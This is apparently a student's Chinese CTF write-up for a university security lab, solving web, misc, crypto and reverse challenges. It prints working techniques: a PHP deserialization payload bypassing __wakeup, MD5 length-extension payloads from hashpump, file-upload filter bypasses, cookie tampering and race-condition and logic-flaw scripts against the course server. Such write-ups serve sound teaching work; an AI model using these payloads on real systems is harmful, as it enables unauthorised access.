前言

最近在上网路安全实验课程的时候,其中一个任务就是完成这里面的题目,我还是记录一下吧,,到时候补充到实验报告里面

basic部分

decode

这个题目下载之后是一个压缩包,但是里面什么东西也没有,于是放进HXD里面查看是否有其他的东西,打开发现十六进制编码,用Hackbar解码得到flag

白驹过隙

题目的意思是说快,打开页面就会发现错过了flag之类的操作,肯定是存在跳转,老题目要么就抓包,要么就curl一下,这里我选择用vps来curl一下这个网址,直接出flag

齐白石

这尼玛我感觉这是异形。。关齐白石什么事。。。根据提示先把图片在16进制编辑器打开看一下
,拉到最后一行发现flag

encode

打开文件会发现一堆混淆,怀疑是js混淆,然后放进火狐的js调试器里面直接执行就出现flag了

DNS解析

这个题目就是考了Windows下面的一个DNS解析的hosts文件,其实这是个历史遗留问题,就是每次要去经过DNS解析的时候都会默认先去找一下这个host文件里面的相关域名所对应的ip就会免去查上层DNS服务器里面的东西,所以我们只要在hosts文件下面添加,这一行,然后输入题目对应的的域名即可
host文件的目录:C:\Windows\System32\drivers\etc\hosts


forfun2

这题也是骚气,我他喵一直查看源代码都没找到,结果我在原网页上点击了查看背景图片,就出现flag了受不了。。。这题有点坑。。以前都没试过网网页图片上隐藏信息想。。。。

forfun

这个题目就是一直右击查看源代码,找到flag为止,flag在其中的这个页面下如图

进去之后用ctrl+f找到对应的flag

签到1

打开题目让我们check the source code !!,点击右键查看源代码发现一段base64,解码得到flag{this_is_so_easy_is_it?}

签到2

打开网站发现http header!!!
然后F12去看看http头部的信息,发现flag

超简单的密码

这一个题目很明显的提示,注意看键盘很显然这是个键盘密码,从键盘上翻译一下就好得到
flag{isee}

滑稽

下载下来是一个ppt,ppt里面没发现些什么,但是这个东西是需要解密的
然后放到16进制编辑器里面看一下发现有zip包的文件头,于是就开始把这个文件后缀改为zip打开

在里面找到一个很奇怪的图片文件,其余的图片都能显示就他不能,放进16进制编辑器看一下发现ppt的base64加密的密码,解开之后就是ppt密码cumt2017ctf

再把文件后缀改为ppt,输入密码,移动一下ppt就发现flag了

Fast 30

这明显就是一个脚本题,叫你2s内post你发现的东西,可以在http header里面发现有个flag选项想必就是把这个东西给post上去,参数是key,下面是我写的脚本

#!/usr/bin/python
# Author:0verWatch
# coding:utf-8import requestsurl = 'http://web.bxsteam.xyz/fast/'
req = requests.Session()ans = req.get(url)param =  ans.headers['Flag']flag = req.post(url,data={'key':param})print flag.content

得到flag

web

源代码

这个题目是查找页面的元素,打开之后发现一段可疑的信息其实就是把里面的中文字体去掉就是flag

colorSnake

这个题目还是很有意思的,虽然要写个脚本当然你也可以手动去执行。。。这个进去就是一个小游戏,点击右键查看源码后发现显示分数的地方id是score,查看他的源代码发现还存在一个game.js的代码脚本,于是立即在里面搜关于score的信息
然后发现了这样的一段代码,同时发现一个很可疑的php代码,这里面有个xhr,介绍一下xhr,xhr叫XMLHttpRequest ,XMLHttpRequest 对象提供了对 HTTP 协议的完全的访问,包括做出 POST 和 HEAD 请求以及普通的 GET 请求的能力。XMLHttpRequest 可以同步或异步地返回 Web 服务器的响应,并且能够以文本或者一个 DOM 文档的形式返回内容。

也就是去访问这个页面的功能,我也去访问,发现有json格式的东西,把里面的msg部分的内容unicode解码,发现提示,这么久才吃到一个,零分!可以猜到应该是用这个去访问页面去增加得分,每刷新一下这个页面发现score加一了,但是刷新的太快又会重新置0,所以我就写了个小脚本

#!/usr/bin/python
# Author:0verWatch
# coding:utf-8import requests
import json
import timeurl = 'http://202.119.201.199/challenge/web/colorSnake/getScore.php'
req = requests.Session()for i in range(0,55):    #怕会出现重新置零的现象,因此设置的数比50大time.sleep(1)    #用于延时ans = req.get(url)msg = json.loads(ans.content)['msg']print json.loads(ans.content)['score'],msg.encode('utf-8')

最后得到flag

备份

备份这个题目感觉也是一个脚本题目,一进去题目就提示There are too much baks in the website ,can you find the flag in these baks?,说明我们要遍历多个bak文件并且读取里面的内容。。。只要get请求就能下在相关bak文件了

直接放上我写的脚本。。。

#!/usr/bin/python
# Author:0verWatch
# coding:utf-8import requestsurl = "http://202.119.201.199/challenge/web/code/{num}.bak"
res = requests.Session()for i in range(0,1500):      #开大点无所谓payload = url.format(num=i)#print payloadans = res.get(payload)file_name = '{_}.bak'.format(_=i)#print file_namewith open(file_name, "wb") as code:file_content = code.write(ans.content)code.close()print file_namef = open(file_name,'rb')read_content = f.read()if 'flag' in read_content:          print read_contentbreakelse:print 'Waiting!!!!!'f.close()

结果应该是第998个bak文件里面有flag

上传一

打开页面让我们上传图片文件,尝试用bp抓包发包
发现

所以就是让我们上一个可执行的文件,那就尝试把后缀名改名为php,然后就得到两个flag了,这太水了吧,这题还送一个flag。。。。上传二也秒掉了

上传二

其实也是上传一的页面,这个题目其实想要修改的是Content-Type:这个参数,由于我上一题是直接上传一个图片上去的,这样一来就导致直接出来两个flag,这题只要是Content-Type: image/jpeg这个类型就可以出flag,如果一开始你上传一上传的不是图片的话,而是一般的文件流的话们这里的Content-Type显示的是application/stream之类的东西,就不会两个flag出来的

Cookie?

页面请求以管理员身份进行登录,尝试用bp抓包查看
把包里面cookie里面的值改一下,一开始是guest,我们改成admin,发包
得到下面这个页面

有个key还有个密文,猜测是应该是维吉尼亚密码,把该网页中的图片拖到百度识图识别一下,果然是维吉尼亚。。。

然后我们可以在线解密,我们可以去这个页面 http://ctf.ssleye.com/vigenere.html 进行维吉尼亚密码解密
得到flag

上传三

这个题目属于条件竞争的题目
具体来讲就是在文件上传之后你要赶在服务器把它删除之前访问一下这个文件就可以了
这个题目抓包的时候又在相应的php文件后缀进行了过滤,把php,php2,php3,php4,php5等都过滤掉了,直到试到phtml的时候回显出来一句话

这时候我们就发现文件被删了
这题可以单纯用bp直接刷,但是我还是喜欢用脚本刷,可以直接出flag,bp只能看到返回的长度不好辨别
我使用bp+脚本刷的,bp上面开个无payload的爆破一直发同样的包,然后脚本一直运行就可以得到flag了

#!/usr/bin/python
# Author:0verWatch
# coding:utf-8import requestsurl = 'http://202.119.201.199/challenge/web/uploadfile/upload/index.phtml'req = requests.Session()while True:ans = req.get(url)web_content = ans.contentif 'flag' in web_content:print web_content

听说你会面向对象

先把源代码贴一下

<?php
//flag in flag.php
class Admin{public $file = 'flag.php';public function __construct($f){$this->file = $f;}public function __wakeup(){// TODO: Implement __wakeup() method.if (stripos($this->file,'flag')+1){echo 'dangerrous';$this->file = 'index.php';}}public function __destruct(){var_dump($this->file);var_dump(file_exists($this->file));// TODO: Implement __destruct() method.if (!strpos($this->file,'/')&&!strpos($this->file,'\\')){highlight_file($this->file);}elsedie('你想干嘛');}
}if ($_GET['data']){@unserialize($_GET['data']);
}else{highlight_file('index.php');
}
?>

打开可以发现函数,这个题目考查的是反序列化的知识,这题的关键就是我们需要利用unserialize构造一个对应的类型的序列化然后去绕过wakeup函数从而利用__destruct()输出flag,绕过wakeup很简单只需要我们把对象里面的的变量个数改为跟原来的不一样就好,我们可以写一个代码构造这个序列了

<?php
class Admin{public $file = 'flag.php';
}$a = new Admin();echo serialize($a);

把输出的变量个数改为2即可

也就是
O:5:"Admin":2:{s:4:"file";s:8:"flag.php";}

自动获取flag程序

这个题目本来意思就是想要你修改一下代码,我们那可以右键去看一下,发现有一段js代码,是通过ajax来发起请求的,发现第一部分是通过get方式访问param1.php然后以json格式的数据传参给calParam2,然后去求flag

// 请求参数一
$("#a").click(function(){$.ajax({url:'param1.php',method:'get',dataType:'json',success:calParam2})
});
function calParam2(d){var data=JSON.parse((d.param));var length=data.length;var second=new Date().getSeconds();var sum=0;for (var i = 1; i < length; i++) {for (var j = 0; j < length/2; j++) {sum+=parseInt(data[i])*second + data[j];}}
// 请求flag$.ajax({url:'http://new.ctf.param.com/aram2.php?sum='+sum,method:'get',dataType:'json',success:function(s){alert(s.f);
},error:function(s){alert('错了');}})
}

分析代码后我们可以发现这里面请求flag的部分明显url就错了,这尼玛根本就不同域了,一般出题人肯定不会这样搞的,根据第一个url把第二个url改为参数为param的url:param2.php?param='+sum,
当我们访问一下param1.php这个页面的时候发现是一堆url编码

{"param":"%5B%221%22%2C%226%22%2C%222%22%2C%228%22%2C%224%22%2C%222%22%2C%228%22%2C%224%22%2C%229%22%2C%221%22%2C%2210%22%5D"}

但是在计算的这一部分功能里面上来直接就JSON.parse,这是一个对json格式解码的函数,但是我们第一个页面里面的东西是经过url编码过的,直接json格式解码肯定是不行的的。会报错的。

所以我们得先用unescape解码,然后放进控制台里面跑一下就得到flag

function calParam2(d){d.param = unescape(d.param);var data=JSON.parse((d.param));var length=data.length;var second=new Date().getSeconds();var sum=0;for (var i = 1; i < length; i++) {for (var j = 0; j < length/2; j++) {sum+=parseInt(data[i])*second + data[j];}}
// 请求flag$.ajax({url:'param2.php?param='+sum,method:'get',dataType:'json',success:function(s){alert(s.f);
},error:function(s){alert('错了');}})
}

phpmywind

这个题目个考察的是phpmywind5.3的漏洞了
上网搜一波,发现大概存在两个漏洞前台sql注入及后台任意文件遍历
但是由于题目说flag从数据库里面找,那就肯定是注入的漏洞,但是这个题目有问题,直接flag就给出来了,有毛病。。。。

然后尝试复现一下,发现这学校搭的平台参数好像都不一样。。。。自己搭的平台是可以复现的。。。。。。
详细可以参考一下 这篇文章
我们直接用报错注入就可以了

is hash safe??

这题考的是hash长度拓展攻击
一开始抓包把cookie里面的role改为admin,发包一看还是没有反应,题目说有东西漏了,那么肯定是有备份文件,尝试phps,php~无果后尝试.swp出现代码了
我们可以用vim -r命令去回复备份文件vim -r admin.php.swp
出现源代码

<?php$auth = false;$role = "guest";$salt ="xxxxxxxxxxxxx";//len:13if (isset($_COOKIE["role"])){$role = $_COOKIE["role"];$hsh = $_COOKIE["hsh"];if (stripos($role,"admin")!==false&&$hsh === md5($salt.$_COOKIE["role"])){$auth = true;}else{$auth = false;}}else{$s = $role;setcookie('role',$s);$hsh = md5($salt.$s);setcookie('hsh',$hsh);}if ($auth) {echo "<h3>Welcome Admin.Your flag is cumtctf{you_know_this_is_not_the_flag}";} else {echo "<h3>Only Admin can see the flag!!</h3>";}?>

我们可用hashpump这个工具来伪造admin的身份,记得要把数据URL编码一下

root@kali:~# hashpump
Input Signature: c70ab9d039f166c5b5f506a5698ebaa1
Input Data: guest
Input Key Length: 13
Input Data to Add: admin
37d0fe2c401a689be9608e9f850ef3de
guest\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00admin

发包即可得到flag

可以看一下我以前的文章

logic

这个题目个人感觉有脑洞,这个题目一上来抓包啥的都没有什么提示,就连题目需要的token也没找着,然后在查看源代码的时候才用脑洞发现的信息

这里的meta的信息在对解题起了关键的作用,发现是vim编辑器编辑的,难么可能就有备份文件,尝试一下上一题的swp文件,果然有代码

........这一行是省略的代码......../*
如果登录邮箱地址不是管理员则 die()
数据库结构--
-- 表的结构 `user`
--CREATE TABLE IF NOT EXISTS `user` (`id` int(11) NOT NULL AUTO_INCREMENT,`username` varchar(255) NOT NULL,`email` varchar(255) NOT NULL,`token` int(255) NOT NULL DEFAULT '0',PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;--
-- 转存表中的数据 `user`
--INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/........这一行是省略的代码........if(!empty($token)&&!empty($emailAddress)){if(strlen($token)!=10) die('fail');if($token!='0') die('fail');$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";$r = mysql_query($sql) or die('db error');$r = mysql_fetch_assoc($r);$r = $r['num'];if($r>0){echo $flag;}else{echo "失败了呀";}
}

关键绕过的代码是这一部分

if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');

我们了需要构造token等于0并且长度等于10,而且还要知道admin的邮箱

这又需要脑洞了,我们又可以从meta信息里面得到admin是chenyurui,邮箱是gmail,自己够早一波邮箱地址 就是chenyurui@gmail.com,然后token输入0000000000就可以得到flag了

淘金

这个题在抢钱的时候就会输出一个验证码让你输入,在5秒之内如果没输入正确的验证码就不能抢,如果输入正确的话就会访问一个dorob.php的页面,我们现在的方法就相当于直接跳过验证码检验的这一步直接访问这个页面就会直接达到抢劫的目的,但是一定得在5秒以内,不然是抢不到的,这就相当于编写代码的人没对验证码进行严格的限制从而导致逻辑错误。。
这个过程我们可以不断对那个页面发包,然后抢劫某一个人的金币即可,就会发现很明显回显异样

然后我们可以模拟这个过程即可,写了个脚本,就从前面三个最有钱的人里面抢吧

#!/usr/bin/env python
# coding:utf-8import requests
import timeurl = 'http://202.119.201.199/challenge/web/robber/rob.php?id=109'
url_rob = 'http://202.119.201.199/challenge/web/robber/dorob.php'
url2 = 'http://202.119.201.199/challenge/web/robber/rob.php?id=103'
url3 = 'http://202.119.201.199/challenge/web/robber/rob.php?id=58'headers ={'Referer': 'http://202.119.201.199/challenge/web/robber/rob.php?id=109','Content-Type': 'application/x-www-form-urlencoded','Host': '202.119.201.199','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:60.0) Gecko/20100101 Firefox/60.0','Content-Type': 'application/x-www-form-urlencoded','Upgrade-Insecure-Requests': '1'
}cookies = {'PHPSESSID':'kupr8ubqffdcpsstn21mp6bhv0',
'ssid':'ef260780a098d5fcb1185bca69db366d'
}data = {'user':'EddieIvan','num':'1'
}
data2 ={'user':'altman','num':'1'
}
data3 = {'user':'小明','num':'1'
}for i in range(1000):ans1 = requests.get(url,cookies=cookies)ans2 = requests.post(url_rob,data=data,cookies=cookies,headers=headers)ans1 = requests.get(url2,cookies=cookies)ans2 = requests.post(url_rob,data=data2,cookies=cookies,headers=headers)ans1 = requests.get(url3,cookies=cookies)ans2 = requests.post(url_rob,data=data3,cookies=cookies,headers=headers)time.sleep(4.7)print 'Waiting'

当你的金币高于1000的时候就可以点击购买flag的那个页面就可以了得到flag了

Misc

LSB

这个题目考察的是对LSB这个东西的熟悉程度。我们用神器StegSolve来看一下里面究竟最低位里面藏了什么东西
可以看到在最低位的那一部分发现了一张图片保存发现是一张二维码

扫一扫就可以得到flag了

爱因斯坦

在属性里面发现了这样的一句话

不管先有没有用先记录一下
然后去kali里面把这个图片binwalk一下发现里面存在一个压缩包,把他分离出来

然后打开里面的压缩包,发现加密了,这正好想起刚才的那一串文字,然后输入进去发现可以解开并得到flag

视而不见

这个题目也是应用了StegSolve这个工具,因为一开始发现这张图片好像是被拉伸了一样,所以果断放进去
利用里面的stereogram Solver在偏移量为104的时候就出现flag了

easy crypto

这个题目有两个文件,先把其中的摩斯密码给解密得到另一串字符串
keyisvigenerecipher
这就相当于给了我们提示维吉尼亚密码
然后我们就去在线网页上解码,而且给出了key是vigenerecipher然后我们用那一串密文尝试解密得到flag

我就想试试这个名字到底能够起多长

这个题目也要用到StegSolve,毕竟这东西在图片隐写里面经常使用
跟上面有一题很类似的操作也是去看看最低位隐藏了什么信息
然后可以发喜那里面放了一个压缩包保存下来打开就好

在kali里面打开并使用strings命令查看有哪些可见字符,发现flag

你的石锅拌饭

这一个题目偏脑洞,因为题目说了有培根这东西,从而可以联想到培根密码,这里面的正体代表的是A,斜体代表的是B,以此推出密文为下面的一串东西,ABAAAABABBABBBABABABAABAABAABAAABBAAAAABAABAB
因为题目说了密文是大写,因此这里我们全都是大写,然后在线解密就可以得到flag了

鲨鱼的套路

这个题目一打开协议分析里面发现tcp流量特别多

过滤tcp流量看一下,然后追踪tcp流看一下,发现有一段base64解码发现存在pk头,导出来另存为压缩包


然后发现压缩包有加密
于是打开看一下是否是伪加密,当然这里我们可以根据这个压缩包文件里面看到的文件名的提示,从16进编辑器中看到很明显全局没有加密,说明肯定是伪加密,我们只需要把09改为00即可

得到flag

萌萌哒

这个题目就是考察几种不同的编码方式而已
首先是js混淆,我们直接放进控制台跑一下就发现另外的一个文件

然后进去之后发现是一堆brainfuck编码
去这个网站解码一下
http://tool.bugku.com/brainfuck/
得到另外的一个经过Ook编码的的东西,再解码一下

得到flag

shark

同样的操作用wireshark先分析一下协议,发现ftp协议特别多,然后追踪一波ftp

然后再追踪tcp流发现这里面是利用user账户登录ftp并且密码是

而且还在下面发现他下载了一个flag的压缩包,然后我们再过滤一下ftp-data,把数据流给保存起来,又发现这个压缩包是加密的,这次发现这个压缩包不是伪加密了,因为全局加密位是奇数,所以是肯定是需要密码的

尝试在包里面搜索关键字password没找到,只能尝试ftp登录密码,果然把文件给解压出了,但是放在HXD中查看有点异常因为里面存在IDHR这样的东西,明显是png图片的内容,文件却没有png文件的头部,找个png文件对比一下,发现头部果然被修改
正常是这样的

但现在是这样的

只需要修改几位即可,最后得开图片文件获得flag

学姐真美

根据提示发现应该是在图片里面做了手脚
用HXD打开一下,发现文件头部还在,但是发现后面一大堆东西东西都是00很奇怪,然后搜索一下jpg文件尾FFD9
发现了在jpg文件尾后面还存在这一个png图片的IHDR这东西可能后面是一个png图片,试着尝试把它抠出来对比一下真正的png文件另存为看一下是什么

把这一段改为正常的png文件头

发现是一个不完整的二维码,这牵扯到了图片的高度问题,在png里面的话IHDR后面的16位的东西就是分别改长和宽的,每组8位,把这一位改为FF

然后记得到完整的二维码了。扫码就可以得到flag

魂斗罗

这个游戏你有两种玩法,第一种就是你自己凭本事过关,第二张就是作弊,然后在网上找作弊,输入金手指,我输入的金手指

一关关下来就可以看到flag了

注意下flag的格式

据说是一个签到题目

Wireshark打开协议分级,发现TCP下的data数据包十分之多,过滤一波看看,然后追踪流发现一段python代码,而且还在下方发现一段base64的代码

看一下代码发现加密解密函数都给你了,直接把flag里面的信息解码之后放进代码里面跑一下就可以直接出flag了,前提是要将密文base64解码一下

#!/usr/bin/env python
# coding:utf-8from Crypto import Random
from Crypto.Cipher import AESimport sys
import base64def decrypt(encrypted, passphrase):IV = encrypted[:16]aes = AES.new(passphrase, AES.MODE_CBC, IV)return aes.decrypt(encrypted[16:])# def encrypt(message, passphrase):
#   IV = message[:16]
#   length = 16
#   count = len(message)
#   padding = length - (count % length)
#   message = message + '\0' * padding
#   aes = AES.new(passphrase, AES.MODE_CBC, IV)
#   return aes.encrypt(message)IV = 'YUFHJKVWEASDGQDH'# message = IV + 'flag is hctf{xxxxxxxxxxxxxxx}'flag = 'mbZoEMrhAO0WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAh0sZ9qjnziUKkV90XhAOkIs/OXoYVw5uQDjVvgNA=='# print len(message)# example = encrypt(message, 'Qq4wdrhhyEWe4qBF')
# print example
ans =  base64.b64decode(flag)
example = decrypt(ans, 'Qq4wdrhhyEWe4qBF')
print example

大家来找茬

这个题目考了两个点,一个是binwalk分离图片出来,另外就是两个图片做各种运算,又得用到StegSolve,这种类型的题目最近的网鼎杯好像也有,反正套路就那样
先放进去binwalk检测一下发现有两张图,分离出来即可

foremost diff.png -o 文件夹名字 分离出来
然后利用StegSolveImage Combiner功能对两张图片进行到sub运算的时候就有一张二维码

扫一下就可以得到flag

md5

这个题目又是MD5长度拓展攻击,如果对原理不太熟悉的人坑做这个题目的时候还是有点卡顿的,建议大家上网自己搜搜学习一下,接着用神器hsahpump来完成这题就好,我这里用的输入是cyr,毕竟原来的题目把这个cyr的MD5已经给出来了,我们也好构造hash长度拓展攻击

Input Signature: 4dbe35eaea655b0a2b0d06391175b8a3
Input Data: cyr
Input Key Length: 16
Input Data to Add: abc
d233e1c6060cc4af248ad189eda145fc
cyr\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x00\x00\x00\x00\x00\x00abc

记得要把输入的16进制哟个空格隔开
我的payload
63 79 72 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 00 00 00 00 00 00 00 61 62 63
输入的hash值
d233e1c6060cc4af248ad189eda145fc
这就可以输出flag了

猜猜看

这个题目提示了用j开头的软件对图片进行了相关的隐写,猜测是jphide,
然后取出对应的工具jphide来把里面的内容给取出来,发现需要密码

再去看看题目发现说你要的是flag哦,可能密码就是flag试一下,会出现一段二进制编码
解码一下发现是一个base64的图片

然后保存放进HTML页面里就可以得到一张二维码,最后扫一下即可

PS Master

这个题目完全就是一个ps的题目
首先用HXD打开发现是一个GIF图片我们可以用ps打开发现里面的图层有一张二维码,先把他保存起来,然后对其进行修改,用快速选择工具将它右上角的狗给选择下,然后右键选择黑色去填充

然后ctrl + j复制图层然后ctrl + t自由变换把这块覆盖左上角,同理覆盖 左下角
ctrl + r标尺对齐然后从上面的尺子往下拖,从左边的往右拖,会有淡蓝色的参考系,这样就能够对齐啦

扫一下即可得到flag

code

这个题目考的是仿射密码,直接爆破key就好了,直接上脚本

 encode = 'joqtgyvlmcqivvvvmmmmzzzzcccciiiijjjjoooossssqqqqmmmm'flag = ''for key1 in range(0,30):for key2 in range(0,30):for k in encode:flag += chr((key1 * (ord(k)-97) + key2 ) % 26 + 97);if 'flag' in flag:print flagflag  = ''

Reverse

Gift

这个题目意思很明确叫你用Jeb打开,但是上网搜了很久最后找到了个很古老版本的Jeb打开,里面有一个flag,直接打开那个文件即可看见flag

但是个人觉得另外一个安卓逆向工具Android Killer更好用。。。。。也能看到flag

CUMT平台的部分题解相关推荐

  1. ctf中stegsolve的应用

    0x01 Data Extract 题目来源:安恒 猫片 下载得到png文件 使用stegsolve打开 发现0位有问题 打开 analyse里的data extract 勾选这些位置,preview ...

  2. 编程比赛 介绍 入门 及 学习路线

    内容若有不足与纰漏,请多指教! 文章目录 写在前面 编程比赛介绍 蓝桥杯 天梯赛 CPC类 比赛 编程比赛要点注意 赛前 赛中 赛后 编程比赛常见术语 比赛相关 常见术语 编程 | 学习 学习 | 练 ...

  3. 小结一下Web的条件竞争的题目

    前言 最近在做我们学校平台的一个题目的时候,突然发现了一个新知识.....可能我是菜鸡吧,大佬们请忽视 正文 这个知识点叫条件竞争... 条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的 ...

  4. 郑州轻工业大学OJ平台题解

    前言 本题解是由c/c ++ 和python构成 郑州轻工业大学oj平台点击进入 题解链接 Python ZZULIOJ1001-1005Python解法 ZZULIOJ1106-1010Python ...

  5. 平台(洛谷P1105题题解,Java语言描述)

    题目要求 题目链接 分析 把平台定义为一个类,四个属性:ID(输入的顺序).高度.左边界.右边界. 要根据高度排序,再找到指定的平台,找符合要求的平台即可. AC代码(Java语言描述) import ...

  6. 【SQL】cumt 数据库平台实践

    目录: 1. 修了老师"王刚"开课课程且成绩在90分以上的学生姓名.课程名称和成绩:  2. 求选修了"王刚"老师所授全部课程的学生姓名和学院名称:(姓名,学院 ...

  7. amd平台linux驱动安装失败,ati闭源驱动安装失败,问题解觉不了。

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 我也遇见这个问题 求解决方法啊 Supported adapter detected. Check if system has the tools req ...

  8. 青少年CTF训练平台Misc-Middle愿风神忽悠你题解

    首先下载附件 解压 会得到这两文件 根据温迪生日快乐 推测解压密码 616 0616 六月十六 之后解压 你会看到这俩货 打开flag.txt 很显然没那么傻 下面从这个下手 发现打不开 直接扔kal ...

  9. CUMT第一轮双月赛Web题解

    ez-upload 这个题目作为Web题的第一个题难度刚好,很基础的漏洞点,就考了个文件上传,上来直接用phtml就可以绕过,但是给出来的hint是.htaccess,可能是我非预期了? 菜刀链接获取 ...

最新文章

  1. 【VB】学生信息管理系统6——错误调试
  2. 解答关于学习前端的一些问题
  3. @value 数组_SpringBoot @Value 读取配置,太强大了!
  4. Dubbo Cloud Native 之路的实践与思考
  5. C++ 对数组sizeof 和对数组元素sizeof
  6. 【转】采购提前期概述
  7. iphone保修期多久_卖疯了!开发区9.9元起换iphone原厂电池!
  8. android 监听网络状态
  9. “Zhuang.Data”轻型数据库访问框架(一)开篇介绍
  10. Linux-两台Linux服务器间设置共享文件夹(NFS服务器)
  11. 驱动级音效增强软件Dolby Home Theater V4
  12. 真封神服务器怎么修改,手把手教你修改炫酷真封神游戏角色名
  13. 中国移动国际mCloud如何助力企业乘风破浪?
  14. outlook 签名_Outlook 2007中的电子邮件签名礼节-适当的Flair
  15. python中取余%
  16. JS知识点总结(全)
  17. 求pi的数学模型matlab计算pi,MATLAB实验-pi的计算 圆周率的近似计算 数学软件与数学实验 教学课件.ppt...
  18. Signal tap 逻辑分析仪使用教程
  19. 学校无尘机房构建方案
  20. 【知识普及】芯片制造:从沙子到半导体IC

热门文章

  1. win7 桌面的应用程序图标显示异常解决办法
  2. 收藏!2022母婴行业五个高增长小众类目盘点(含真实销售数据)
  3. 如何进入TB top排行榜查找热卖款的宝贝呢?
  4. 重金属行业经销商渠道管理系统:完善客户管理体系,规范渠道销售管理
  5. 直播倒计时|今晚一起看 TensorFlow Dev Summit !
  6. 第3周作业 #高级编程技术
  7. 软件开发测试验收通知书,软件项目开发-客户告知书
  8. 安富利携手IDEMIA为物联网和工业4.0应用开发高度灵活的“即插即用”蜂窝连接解决方案
  9. UGNX编程模板和常用刀具库制作
  10. 工业机器人(8)-- UART和RS-232、RS-422、RS-485通信接口